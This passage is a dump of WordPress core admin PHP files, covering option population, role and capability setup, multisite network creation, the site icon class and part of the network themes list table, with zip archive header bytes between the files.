	if ( ! is_multisite() ) {
		$options['initial_db_version'] = ! empty( $wp_current_db_version ) && $wp_current_db_version < $wp_db_version
			? $wp_current_db_version : $wp_db_version;
	}

// 3.0 multisite
	if ( is_multisite() ) {
		/* translators: site tagline */
		$options[ 'blogdescription' ] = sprintf(__('Just another %s site'), get_network()->site_name );
		$options[ 'permalink_structure' ] = '/%year%/%monthnum%/%day%/%postname%/';
	}

// Set autoload to no for these options
	$fat_options = array( 'moderation_keys', 'recently_edited', 'blacklist_keys', 'uninstall_plugins' );

$keys = "'" . implode( "', '", array_keys( $options ) ) . "'";
	$existing_options = $wpdb->get_col( "SELECT option_name FROM $wpdb->options WHERE option_name in ( $keys )" );

$insert = '';
	foreach ( $options as $option => $value ) {
		if ( in_array($option, $existing_options) )
			continue;
		if ( in_array($option, $fat_options) )
			$autoload = 'no';
		else
			$autoload = 'yes';

if ( is_array($value) )
			$value = serialize($value);
		if ( !empty($insert) )
			$insert .= ', ';
		$insert .= $wpdb->prepare( "(%s, %s, %s)", $option, $value, $autoload );
	}

if ( !empty($insert) )
		$wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES " . $insert);

// In case it is set, but blank, update "home".
	if ( !__get_option('home') ) update_option('home', $guessurl);

// Delete unused options.
	$unusedoptions = array(
		'blodotgsping_url', 'bodyterminator', 'emailtestonly', 'phoneemail_separator', 'smilies_directory',
		'subjectprefix', 'use_bbcode', 'use_blodotgsping', 'use_phoneemail', 'use_quicktags', 'use_weblogsping',
		'weblogs_cache_file', 'use_preview', 'use_htmltrans', 'smilies_directory', 'fileupload_allowedusers',
		'use_phoneemail', 'default_post_status', 'default_post_category', 'archive_mode', 'time_difference',
		'links_minadminlevel', 'links_use_adminlevels', 'links_rating_type', 'links_rating_char',
		'links_rating_ignore_zero', 'links_rating_single_image', 'links_rating_image0', 'links_rating_image1',
		'links_rating_image2', 'links_rating_image3', 'links_rating_image4', 'links_rating_image5',
		'links_rating_image6', 'links_rating_image7', 'links_rating_image8', 'links_rating_image9',
		'links_recently_updated_time', 'links_recently_updated_prepend', 'links_recently_updated_append',
		'weblogs_cacheminutes', 'comment_allowed_tags', 'search_engine_friendly_urls', 'default_geourl_lat',
		'default_geourl_lon', 'use_default_geourl', 'weblogs_xml_url', 'new_users_can_blog', '_wpnonce',
		'_wp_http_referer', 'Update', 'action', 'rich_editing', 'autosave_interval', 'deactivated_plugins',
		'can_compress_scripts', 'page_uris', 'update_core', 'update_plugins', 'update_themes', 'doing_cron',
		'random_seed', 'rss_excerpt_length', 'secret', 'use_linksupdate', 'default_comment_status_page',
		'wporg_popular_tags', 'what_to_show', 'rss_language', 'language', 'enable_xmlrpc', 'enable_app',
		'embed_autourls', 'default_post_edit_rows', 'gzipcompression', 'advanced_edit'
	);
	foreach ( $unusedoptions as $option )
		delete_option($option);

// Delete obsolete magpie stuff.
	$wpdb->query("DELETE FROM $wpdb->options WHERE option_name REGEXP '^rss_[0-9a-f]{32}(_ts)?$'");

// Clear expired transients
	delete_expired_transients( true );
}

/**
 * Execute WordPress role creation for the various WordPress versions.
 *
 * @since 2.0.0
 */
function populate_roles() {
	populate_roles_160();
	populate_roles_210();
	populate_roles_230();
	populate_roles_250();
	populate_roles_260();
	populate_roles_270();
	populate_roles_280();
	populate_roles_300();
}

/**
 * Create the roles for WordPress 2.0
 *
 * @since 2.0.0
 */
function populate_roles_160() {
	// Add roles

// Dummy gettext calls to get strings in the catalog.
	/* translators: user role */
	_x('Administrator', 'User role');
	/* translators: user role */
	_x('Editor', 'User role');
	/* translators: user role */
	_x('Author', 'User role');
	/* translators: user role */
	_x('Contributor', 'User role');
	/* translators: user role */
	_x('Subscriber', 'User role');

add_role('administrator', 'Administrator');
	add_role('editor', 'Editor');
	add_role('author', 'Author');
	add_role('contributor', 'Contributor');
	add_role('subscriber', 'Subscriber');

// Add caps for Administrator role
	$role = get_role('administrator');
	$role->add_cap('switch_themes');
	$role->add_cap('edit_themes');
	$role->add_cap('activate_plugins');
	$role->add_cap('edit_plugins');
	$role->add_cap('edit_users');
	$role->add_cap('edit_files');
	$role->add_cap('manage_options');
	$role->add_cap('moderate_comments');
	$role->add_cap('manage_categories');
	$role->add_cap('manage_links');
	$role->add_cap('upload_files');
	$role->add_cap('import');
	$role->add_cap('unfiltered_html');
	$role->add_cap('edit_posts');
	$role->add_cap('edit_others_posts');
	$role->add_cap('edit_published_posts');
	$role->add_cap('publish_posts');
	$role->add_cap('edit_pages');
	$role->add_cap('read');
	$role->add_cap('level_10');
	$role->add_cap('level_9');
	$role->add_cap('level_8');
	$role->add_cap('level_7');
	$role->add_cap('level_6');
	$role->add_cap('level_5');
	$role->add_cap('level_4');
	$role->add_cap('level_3');
	$role->add_cap('level_2');
	$role->add_cap('level_1');
	$role->add_cap('level_0');

// Add caps for Editor role
	$role = get_role('editor');
	$role->add_cap('moderate_comments');
	$role->add_cap('manage_categories');
	$role->add_cap('manage_links');
	$role->add_cap('upload_files');
	$role->add_cap('unfiltered_html');
	$role->add_cap('edit_posts');
	$role->add_cap('edit_others_posts');
	$role->add_cap('edit_published_posts');
	$role->add_cap('publish_posts');
	$role->add_cap('edit_pages');
	$role->add_cap('read');
	$role->add_cap('level_7');
	$role->add_cap('level_6');
	$role->add_cap('level_5');
	$role->add_cap('level_4');
	$role->add_cap('level_3');
	$role->add_cap('level_2');
	$role->add_cap('level_1');
	$role->add_cap('level_0');

// Add caps for Author role
	$role = get_role('author');
	$role->add_cap('upload_files');
	$role->add_cap('edit_posts');
	$role->add_cap('edit_published_posts');
	$role->add_cap('publish_posts');
	$role->add_cap('read');
	$role->add_cap('level_2');
	$role->add_cap('level_1');
	$role->add_cap('level_0');

// Add caps for Contributor role
	$role = get_role('contributor');
	$role->add_cap('edit_posts');
	$role->add_cap('read');
	$role->add_cap('level_1');
	$role->add_cap('level_0');

// Add caps for Subscriber role
	$role = get_role('subscriber');
	$role->add_cap('read');
	$role->add_cap('level_0');
}

/**
 * Create and modify WordPress roles for WordPress 2.1.
 *
 * @since 2.1.0
 */
function populate_roles_210() {
	$roles = array('administrator', 'editor');
	foreach ($roles as $role) {
		$role = get_role($role);
		if ( empty($role) )
			continue;

$role->add_cap('edit_others_pages');
		$role->add_cap('edit_published_pages');
		$role->add_cap('publish_pages');
		$role->add_cap('delete_pages');
		$role->add_cap('delete_others_pages');
		$role->add_cap('delete_published_pages');
		$role->add_cap('delete_posts');
		$role->add_cap('delete_others_posts');
		$role->add_cap('delete_published_posts');
		$role->add_cap('delete_private_posts');
		$role->add_cap('edit_private_posts');
		$role->add_cap('read_private_posts');
		$role->add_cap('delete_private_pages');
		$role->add_cap('edit_private_pages');
		$role->add_cap('read_private_pages');
	}

$role = get_role('administrator');
	if ( ! empty($role) ) {
		$role->add_cap('delete_users');
		$role->add_cap('create_users');
	}

$role = get_role('author');
	if ( ! empty($role) ) {
		$role->add_cap('delete_posts');
		$role->add_cap('delete_published_posts');
	}

$role = get_role('contributor');
	if ( ! empty($role) ) {
		$role->add_cap('delete_posts');
	}
}

/**
 * Create and modify WordPress roles for WordPress 2.3.
 *
 * @since 2.3.0
 */
function populate_roles_230() {
	$role = get_role( 'administrator' );

if ( !empty( $role ) ) {
		$role->add_cap( 'unfiltered_upload' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 2.5.
 *
 * @since 2.5.0
 */
function populate_roles_250() {
	$role = get_role( 'administrator' );

if ( !empty( $role ) ) {
		$role->add_cap( 'edit_dashboard' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 2.6.
 *
 * @since 2.6.0
 */
function populate_roles_260() {
	$role = get_role( 'administrator' );

if ( !empty( $role ) ) {
		$role->add_cap( 'update_plugins' );
		$role->add_cap( 'delete_plugins' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 2.7.
 *
 * @since 2.7.0
 */
function populate_roles_270() {
	$role = get_role( 'administrator' );

if ( !empty( $role ) ) {
		$role->add_cap( 'install_plugins' );
		$role->add_cap( 'update_themes' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 2.8.
 *
 * @since 2.8.0
 */
function populate_roles_280() {
	$role = get_role( 'administrator' );

if ( !empty( $role ) ) {
		$role->add_cap( 'install_themes' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 3.0.
 *
 * @since 3.0.0
 */
function populate_roles_300() {
	$role = get_role( 'administrator' );

if ( !empty( $role ) ) {
		$role->add_cap( 'update_core' );
		$role->add_cap( 'list_users' );
		$role->add_cap( 'remove_users' );
		$role->add_cap( 'promote_users' );
		$role->add_cap( 'edit_theme_options' );
		$role->add_cap( 'delete_themes' );
		$role->add_cap( 'export' );
	}
}

if ( !function_exists( 'install_network' ) ) :
/**
 * Install Network.
 *
 * @since 3.0.0
 */
function install_network() {
	if ( ! defined( 'WP_INSTALLING_NETWORK' ) )
		define( 'WP_INSTALLING_NETWORK', true );

dbDelta( wp_get_db_schema( 'global' ) );
}
endif;

/**
 * Populate network settings.
 *
 * @since 3.0.0
 *
 * @global wpdb       $wpdb
 * @global object     $current_site
 * @global int        $wp_db_version
 * @global WP_Rewrite $wp_rewrite
 *
 * @param int    $network_id        ID of network to populate.
 * @param string $domain            The domain name for the network (eg. "example.com").
 * @param string $email             Email address for the network administrator.
 * @param string $site_name         The name of the network.
 * @param string $path              Optional. The path to append to the network's domain name. Default '/'.
 * @param bool   $subdomain_install Optional. Whether the network is a subdomain installation or a subdirectory installation.
 *                                  Default false, meaning the network is a subdirectory installation.
 * @return bool|WP_Error True on success, or WP_Error on warning (with the installation otherwise successful,
 *                       so the error code must be checked) or failure.
 */
function populate_network( $network_id = 1, $domain = '', $email = '', $site_name = '', $path = '/', $subdomain_install = false ) {
	global $wpdb, $current_site, $wp_db_version, $wp_rewrite;

$errors = new WP_Error();
	if ( '' == $domain )
		$errors->add( 'empty_domain', __( 'You must provide a domain name.' ) );
	if ( '' == $site_name )
		$errors->add( 'empty_sitename', __( 'You must provide a name for your network of sites.' ) );

// Check for network collision.
	$network_exists = false;
	if ( is_multisite() ) {
		if ( get_network( (int) $network_id ) ) {
			$errors->add( 'siteid_exists', __( 'The network already exists.' ) );
		}
	} else {
		if ( $network_id == $wpdb->get_var( $wpdb->prepare( "SELECT id FROM $wpdb->site WHERE id = %d", $network_id ) ) ) {
			$errors->add( 'siteid_exists', __( 'The network already exists.' ) );
		}
	}

if ( ! is_email( $email ) )
		$errors->add( 'invalid_email', __( 'You must provide a valid email address.' ) );

if ( $errors->get_error_code() )
		return $errors;

// If a user with the provided email does not exist, default to the current user as the new network admin.
	$site_user = get_user_by( 'email', $email );
	if ( false === $site_user ) {
		$site_user = wp_get_current_user();
	}

// Set up site tables.
	$template = get_option( 'template' );
	$stylesheet = get_option( 'stylesheet' );
	$allowed_themes = array( $stylesheet => true );

if ( $template != $stylesheet ) {
		$allowed_themes[ $template ] = true;
	}

if ( WP_DEFAULT_THEME != $stylesheet && WP_DEFAULT_THEME != $template ) {
		$allowed_themes[ WP_DEFAULT_THEME ] = true;
	}

// If WP_DEFAULT_THEME doesn't exist, also whitelist the latest core default theme.
	if ( ! wp_get_theme( WP_DEFAULT_THEME )->exists() ) {
		if ( $core_default = WP_Theme::get_core_default_theme() ) {
			$allowed_themes[ $core_default->get_stylesheet() ] = true;
		}
	}

if ( 1 == $network_id ) {
		$wpdb->insert( $wpdb->site, array( 'domain' => $domain, 'path' => $path ) );
		$network_id = $wpdb->insert_id;
	} else {
		$wpdb->insert( $wpdb->site, array( 'domain' => $domain, 'path' => $path, 'id' => $network_id ) );
	}

wp_cache_delete( 'networks_have_paths', 'site-options' );

if ( !is_multisite() ) {
		$site_admins = array( $site_user->user_login );
		$users = get_users( array(
			'fields' => array( 'user_login' ),
			'role'   => 'administrator',
		) );
		if ( $users ) {
			foreach ( $users as $user ) {
				$site_admins[] = $user->user_login;
			}

$site_admins = array_unique( $site_admins );
		}
	} else {
		$site_admins = get_site_option( 'site_admins' );
	}

/* translators: Do not translate USERNAME, SITE_NAME, BLOG_URL, PASSWORD: those are placeholders. */
	$welcome_email = __( 'Howdy USERNAME,

Your new SITE_NAME site has been successfully set up at:
BLOG_URL

You can log in to the administrator account with the following information:

Username: USERNAME
Password: PASSWORD
Log in here: BLOG_URLwp-login.php

We hope you enjoy your new site. Thanks!

--The Team @ SITE_NAME' );

$misc_exts = array(
		// Images.
		'jpg', 'jpeg', 'png', 'gif',
		// Video.
		'mov', 'avi', 'mpg', '3gp', '3g2',
		// "audio".
		'midi', 'mid',
		// Miscellaneous.
		'pdf', 'doc', 'ppt', 'odt', 'pptx', 'docx', 'pps', 'ppsx', 'xls', 'xlsx', 'key',
	);
	$audio_exts = wp_get_audio_extensions();
	$video_exts = wp_get_video_extensions();
	$upload_filetypes = array_unique( array_merge( $misc_exts, $audio_exts, $video_exts ) );

$sitemeta = array(
		'site_name' => $site_name,
		'admin_email' => $email,
		'admin_user_id' => $site_user->ID,
		'registration' => 'none',
		'upload_filetypes' => implode( ' ', $upload_filetypes ),
		'blog_upload_space' => 100,
		'fileupload_maxk' => 1500,
		'site_admins' => $site_admins,
		'allowedthemes' => $allowed_themes,
		'illegal_names' => array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator', 'files' ),
		'wpmu_upgrade_site' => $wp_db_version,
		'welcome_email' => $welcome_email,
		/* translators: %s: site link */
		'first_post' => __( 'Welcome to %s. This is your first post. Edit or delete it, then start blogging!' ),
		// @todo - network admins should have a method of editing the network siteurl (used for cookie hash)
		'siteurl' => get_option( 'siteurl' ) . '/',
		'add_new_users' => '0',
		'upload_space_check_disabled' => is_multisite() ? get_site_option( 'upload_space_check_disabled' ) : '1',
		'subdomain_install' => intval( $subdomain_install ),
		'global_terms_enabled' => global_terms_enabled() ? '1' : '0',
		'ms_files_rewriting' => is_multisite() ? get_site_option( 'ms_files_rewriting' ) : '0',
		'initial_db_version' => get_option( 'initial_db_version' ),
		'active_sitewide_plugins' => array(),
		'WPLANG' => get_locale(),
	);
	if ( ! $subdomain_install )
		$sitemeta['illegal_names'][] = 'blog';

/**
	 * Filters meta for a network on creation.
	 *
	 * @since 3.7.0
	 *
	 * @param array $sitemeta   Associative array of network meta keys and values to be inserted.
	 * @param int   $network_id ID of network to populate.
	 */
	$sitemeta = apply_filters( 'populate_network_meta', $sitemeta, $network_id );

$insert = '';
	foreach ( $sitemeta as $meta_key => $meta_value ) {
		if ( is_array( $meta_value ) )
			$meta_value = serialize( $meta_value );
		if ( !empty( $insert ) )
			$insert .= ', ';
		$insert .= $wpdb->prepare( "( %d, %s, %s)", $network_id, $meta_key, $meta_value );
	}
	$wpdb->query( "INSERT INTO $wpdb->sitemeta ( site_id, meta_key, meta_value ) VALUES " . $insert );

/*
	 * When upgrading from single to multisite, assume the current site will
	 * become the main site of the network. When using populate_network()
	 * to create another network in an existing multisite environment, skip
	 * these steps since the main site of the new network has not yet been
	 * created.
	 */
	if ( ! is_multisite() ) {
		$current_site = new stdClass;
		$current_site->domain = $domain;
		$current_site->path = $path;
		$current_site->site_name = ucfirst( $domain );
		$wpdb->insert( $wpdb->blogs, array( 'site_id' => $network_id, 'blog_id' => 1, 'domain' => $domain, 'path' => $path, 'registered' => current_time( 'mysql' ) ) );
		$current_site->blog_id = $blog_id = $wpdb->insert_id;
		update_user_meta( $site_user->ID, 'source_domain', $domain );
		update_user_meta( $site_user->ID, 'primary_blog', $blog_id );

if ( $subdomain_install )
			$wp_rewrite->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
		else
			$wp_rewrite->set_permalink_structure( '/blog/%year%/%monthnum%/%day%/%postname%/' );

flush_rewrite_rules();

if ( ! $subdomain_install )
			return true;

$vhost_ok = false;
		$errstr = '';
		$hostname = substr( md5( time() ), 0, 6 ) . '.' . $domain; // Very random hostname!
		$page = wp_remote_get( 'http://' . $hostname, array( 'timeout' => 5, 'httpversion' => '1.1' ) );
		if ( is_wp_error( $page ) )
			$errstr = $page->get_error_message();
		elseif ( 200 == wp_remote_retrieve_response_code( $page ) )
				$vhost_ok = true;

if ( ! $vhost_ok ) {
			$msg = '<p><strong>' . __( 'Warning! Wildcard DNS may not be configured correctly!' ) . '</strong></p>';

$msg .= '<p>' . sprintf(
				/* translators: %s: host name */
				__( 'The installer attempted to contact a random hostname (%s) on your domain.' ),
				'<code>' . $hostname . '</code>'
			);
			if ( ! empty ( $errstr ) ) {
				/* translators: %s: error message */
				$msg .= ' ' . sprintf( __( 'This resulted in an error message: %s' ), '<code>' . $errstr . '</code>' );
			}
			$msg .= '</p>';

$msg .= '<p>' . sprintf(
				/* translators: %s: asterisk symbol (*) */
				__( 'To use a subdomain configuration, you must have a wildcard entry in your DNS. This usually means adding a %s hostname record pointing at your web server in your DNS configuration tool.' ),
				'<code>*</code>'
			) . '</p>';

$msg .= '<p>' . __( 'You can still use your site but any subdomain you create may not be accessible. If you know your DNS is correct, ignore this message.' ) . '</p>';

return new WP_Error( 'no_wildcard_dns', $msg );
		}
	}

return true;
}
PK�������!�����������includes/class-wp-site-icon.phpnu��[�����������<?php
/**
 * Administration API: WP_Site_Icon class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.3.0
 */

/**
 * Core class used to implement site icon functionality.
 *
 * @since 4.3.0
 */
class WP_Site_Icon {

/**
	 * The minimum size of the site icon.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $min_size  = 512;

/**
	 * The size to which to crop the image so that we can display it in the UI nicely.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $page_crop = 512;

/**
	 * List of site icon sizes.
	 *
	 * @since 4.3.0
	 * @var array
	 */
	public $site_icon_sizes = array(
		/*
		 * Square, medium sized tiles for IE11+.
		 *
		 * See https://msdn.microsoft.com/library/dn455106(v=vs.85).aspx
		 */
		270,

/*
		 * App icon for Android/Chrome.
		 *
		 * @link https://developers.google.com/web/updates/2014/11/Support-for-theme-color-in-Chrome-39-for-Android
		 * @link https://developer.chrome.com/multidevice/android/installtohomescreen
		 */
		192,

/*
		 * App icons up to iPhone 6 Plus.
		 *
		 * See https://developer.apple.com/library/prerelease/ios/documentation/UserExperience/Conceptual/MobileHIG/IconMatrix.html
		 */
		180,

// Our regular Favicon.
		32,
	);

/**
	 * Registers actions and filters.
	 *
	 * @since 4.3.0
	 */
	public function __construct() {
		add_action( 'delete_attachment', array( $this, 'delete_attachment_data' ) );
		add_filter( 'get_post_metadata', array( $this, 'get_post_metadata' ), 10, 4 );
	}

/**
	 * Creates an attachment 'object'.
	 *
	 * @since 4.3.0
	 *
	 * @param string $cropped              Cropped image URL.
	 * @param int    $parent_attachment_id Attachment ID of parent image.
	 * @return array Attachment object.
	 */
	public function create_attachment_object( $cropped, $parent_attachment_id ) {
		$parent     = get_post( $parent_attachment_id );
		$parent_url = wp_get_attachment_url( $parent->ID );
		$url        = str_replace( basename( $parent_url ), basename( $cropped ), $parent_url );

$size       = @getimagesize( $cropped );
		$image_type = ( $size ) ? $size['mime'] : 'image/jpeg';

$object = array(
			'ID'             => $parent_attachment_id,
			'post_title'     => basename( $cropped ),
			'post_content'   => $url,
			'post_mime_type' => $image_type,
			'guid'           => $url,
			'context'        => 'site-icon'
		);

return $object;
	}

/**
	 * Inserts an attachment.
	 *
	 * @since 4.3.0
	 *
	 * @param array  $object Attachment object.
	 * @param string $file   File path of the attached image.
	 * @return int           Attachment ID
	 */
	public function insert_attachment( $object, $file ) {
		$attachment_id = wp_insert_attachment( $object, $file );
		$metadata      = wp_generate_attachment_metadata( $attachment_id, $file );

/**
		 * Filters the site icon attachment metadata.
		 *
		 * @since 4.3.0
		 *
		 * @see wp_generate_attachment_metadata()
		 *
		 * @param array $metadata Attachment metadata.
		 */
		$metadata = apply_filters( 'site_icon_attachment_metadata', $metadata );
		wp_update_attachment_metadata( $attachment_id, $metadata );

return $attachment_id;
	}

/**
	 * Adds additional sizes to be made when creating the site_icon images.
	 *
	 * @since 4.3.0
	 *
	 * @param array $sizes List of additional sizes.
	 * @return array Additional image sizes.
	 */
	public function additional_sizes( $sizes = array() ) {
		$only_crop_sizes = array();

/**
		 * Filters the different dimensions that a site icon is saved in.
		 *
		 * @since 4.3.0
		 *
		 * @param array $site_icon_sizes Sizes available for the Site Icon.
		 */
		$this->site_icon_sizes = apply_filters( 'site_icon_image_sizes', $this->site_icon_sizes );

// Use a natural sort of numbers.
		natsort( $this->site_icon_sizes );
		$this->site_icon_sizes = array_reverse( $this->site_icon_sizes );

// ensure that we only resize the image into
		foreach ( $sizes as $name => $size_array ) {
			if ( isset( $size_array['crop'] ) ) {
				$only_crop_sizes[ $name ] = $size_array;
			}
		}

foreach ( $this->site_icon_sizes as $size ) {
			if ( $size < $this->min_size ) {
				$only_crop_sizes[ 'site_icon-' . $size ] = array(
					'width ' => $size,
					'height' => $size,
					'crop'   => true,
				);
			}
		}

return $only_crop_sizes;
	}

/**
	 * Adds Site Icon sizes to the array of image sizes on demand.
	 *
	 * @since 4.3.0
	 *
	 * @param array $sizes List of image sizes.
	 * @return array List of intermediate image sizes.
	 */
	public function intermediate_image_sizes( $sizes = array() ) {
		/** This filter is documented in wp-admin/includes/class-wp-site-icon.php */
		$this->site_icon_sizes = apply_filters( 'site_icon_image_sizes', $this->site_icon_sizes );
		foreach ( $this->site_icon_sizes as $size ) {
			$sizes[] = 'site_icon-' . $size;
		}

return $sizes;
	}

/**
	 * Deletes the Site Icon when the image file is deleted.
	 *
	 * @since 4.3.0
	 *
	 * @param int $post_id Attachment ID.
	 */
	public function delete_attachment_data( $post_id ) {
		$site_icon_id = get_option( 'site_icon' );

if ( $site_icon_id && $post_id == $site_icon_id ) {
			delete_option( 'site_icon' );
		}
	}

/**
	 * Adds custom image sizes when meta data for an image is requested, that happens to be used as Site Icon.
	 *
	 * @since 4.3.0
	 *
	 * @param null|array|string $value    The value get_metadata() should return a single metadata value, or an
	 *                                    array of values.
	 * @param int               $post_id  Post ID.
	 * @param string            $meta_key Meta key.
	 * @param string|array      $single   Meta value, or an array of values.
	 * @return array|null|string The attachment metadata value, array of values, or null.
	 */
	public function get_post_metadata( $value, $post_id, $meta_key, $single ) {
		if ( $single && '_wp_attachment_backup_sizes' === $meta_key ) {
			$site_icon_id = get_option( 'site_icon' );

if ( $post_id == $site_icon_id ) {
				add_filter( 'intermediate_image_sizes', array( $this, 'intermediate_image_sizes' ) );
			}
		}

return $value;
	}
}
PK�������!�oV�������$��includes/class-wp-upgrader-skins.phpnu��[�����������<?php
/**
 * The User Interface "Skins" for the WordPress File Upgrader
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 2.8.0
 */

_deprecated_file( basename( __FILE__ ), '4.7.0', 'class-wp-upgrader.php' );

/** WP_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader-skin.php';

/** Plugin_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader-skin.php';

/** Theme_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-theme-upgrader-skin.php';

/** Bulk_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-bulk-upgrader-skin.php';

/** Bulk_Plugin_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-bulk-plugin-upgrader-skin.php';

/** Bulk_Theme_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-bulk-theme-upgrader-skin.php';

/** Plugin_Installer_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-plugin-installer-skin.php';

/** Theme_Installer_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-theme-installer-skin.php';

/** Language_Pack_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-language-pack-upgrader-skin.php';

/** Automatic_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-automatic-upgrader-skin.php';

/** WP_Ajax_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-wp-ajax-upgrader-skin.php';
PK�������!����O��O��*��includes/class-wp-ms-themes-list-table.phpnu��[�����������<?php
/**
 * List Table API: WP_MS_Themes_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying themes in a list table for the network admin.
 *
 * @since 3.1.0
 * @access private
 *
 * @see WP_List_Table
 */
class WP_MS_Themes_List_Table extends WP_List_Table {

public $site_id;
	public $is_site_themes;

private $has_items;

/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @global string $status
	 * @global int    $page
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		global $status, $page;

parent::__construct( array(
			'plural' => 'themes',
			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
		) );

$status = isset( $_REQUEST['theme_status'] ) ? $_REQUEST['theme_status'] : 'all';
		if ( !in_array( $status, array( 'all', 'enabled', 'disabled', 'upgrade', 'search', 'broken' ) ) )
			$status = 'all';

$page = $this->get_pagenum();

$this->is_site_themes = ( 'site-themes-network' === $this->screen->id ) ? true : false;

if ( $this->is_site_themes )
			$this->site_id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0;
	}

/**
	 *
	 * @return array
	 */
	protected function get_table_classes() {
		// todo: remove and add CSS for .themes
		return array( 'widefat', 'plugins' );
	}

/**
	 *
	 * @return bool
	 */
	public function ajax_user_can() {
		if ( $this->is_site_themes )
			return current_user_can( 'manage_sites' );
		else
			return current_user_can( 'manage_network_themes' );
	}

/**
	 *
	 * @global string $status
	 * @global array $totals
	 * @global int $page
	 * @global string $orderby
	 * @global string $order
	 * @global string $s
	 */
	public function prepare_items() {
		global $status, $totals, $page, $orderby, $order, $s;

wp_reset_vars( array( 'orderby', 'order', 's' ) );

$themes = array(
			/**
			 * Filters the full array of WP_Theme objects to list in the Multisite
			 * themes list table.
			 *
			 * @since 3.1.0
			 *
			 * @param array $all An array of WP_Theme objects to display in the list table.
			 */
			'all' => apply_filters( 'all_themes', wp_get_themes() ),
			'search' => array(),
			'enabled' => array(),
			'disabled' => array(),
			'upgrade' => array(),
			'broken' => $this->is_site_themes ? array() : wp_get_themes( array( 'errors' => true ) ),
		);

if ( $this->is_site_themes ) {
			$themes_per_page = $this->get_items_per_page( 'site_themes_network_per_page' );
			$allowed_where = 'site';
		} else {
			$themes_per_page = $this->get_items_per_page( 'themes_network_per_page' );
			$allowed_where = 'network';
		}

$maybe_update = current_user_can( 'update_themes' ) && ! $this->is_site_themes && $current = get_site_transient( 'update_themes' );

foreach ( (array) $themes['all'] as $key => $theme ) {
			if ( $this->is_site_themes && $theme->is_allowed( 'network' ) ) {
				unset( $themes['all'][ $key ] );
				continue;
			}

if ( $maybe_update && isset( $current->response[ $key ] ) ) {
				$themes['all'][ $key ]->update = true;
				$themes['upgrade'][ $key ] = $themes['all'][ $key ];
			}

$filter = $theme->is_allowed( $allowed_where, $this->site_id ) ? 'enabled' : 'disabled';
			$themes[ $filter ][ $key ] = $themes['all'][ $key ];
		}

if ( $s ) {
			$status = 'search';
			$themes['search'] = array_filter( array_merge( $themes['all'], $themes['broken'] ), array( $this, '_search_callback' ) );
		}

$totals = array();
		foreach ( $themes as $type => $list )
			$totals[ $type ] = count( $list );

if ( empty( $themes[ $status ] ) && !in_array( $status, array( 'all', 'search' ) ) )
			$status = 'all';

$this->items = $themes[ $status ];
		WP_Theme::sort_by_name( $this->items );

$this->has_items = ! empty( $themes['all'] );
		$total_this_page = $totals[ $status ];

wp_localize_script( 'updates', '_wpUpdatesItemCounts', array(
			'themes' => $totals,
			'totals' => wp_get_update_data(),
		) );

if ( $orderby ) {
			$orderby = ucfirst( $orderby );
			$order = strtoupper( $order );

if ( $orderby === 'Name' ) {
				if ( 'ASC' === $order ) {
					$this->items = array_reverse( $this->items );
				}
			} else {
				uasort( $this->items, array( $this, '_order_callback' ) );
			}
		}

$start = ( $page - 1 ) * $themes_per_page;

if ( $total_this_page > $themes_per_page )
			$this->items = array_slice( $this->items, $start, $themes_per_page, true );

$this->set_pagination_args( array(
			'total_items' => $total_this_page,
			'per_page' => $themes_per_page,
		) );
	}

/**
	 * @staticvar string $term
	 * @param WP_Theme $theme
	 * @return bool
	 */
	public function _search_callback( $theme ) {
		static $term = null;
		if ( is_null( $term ) )
			$term = wp_unslash( $_REQUEST['s'] );

foreach ( array( 'Name', 'Description', 'Author', 'Author', 'AuthorURI' ) as $field ) {
			// Don't mark up; Do translate.
			if ( false !== stripos( $theme->display( $field, false, true ), $term ) )
				return true;
		}

if ( false !== stripos( $theme->get_stylesheet(), $term ) )
			return true;

if ( false !== stripos( $theme->get_template(), $term ) )
			return true;

return false;
	}

// Not used by any core columns.
	/**
	 * @global string $orderby
	 * @global string $order
	 * @param array $theme_a
	 * @param array $theme_b
	 * @return int
	 */
	public function _order_callback( $theme_a, $theme_b ) {
		global $orderby, $order;

$a = $theme_a[ $orderby ];
		$b = $theme_b[ $orderby ];

if ( $a == $b )
			return 0;

if ( 'DESC' === $order )
			return ( $a < $b ) ? 1 : -1;
		else
			return ( $a < $b ) ? -1 : 1;
	}

/**
	 */
	public function no_items() {
		if ( $this->has_items ) {
			_e( 'No themes found.' );
		} else {
			_e( 'You do not appear to have any themes available at this time.' );
		}
	}

/**
	 *
	 * @return array
	 */
	public function get_columns() {
		return array(
			'cb'          => '<input type="checkbox" />',
			'name'        => __( 'Theme' ),
			'description' => __( 'Description' ),
		);
	}

/**
	 *
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array(
			'name'         => 'name',
		);
	}

/**
	 * Gets the name of the primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Unalterable name of the primary column name, in this case, 'name'.
	 */
	protected function get_primary_column_name() {
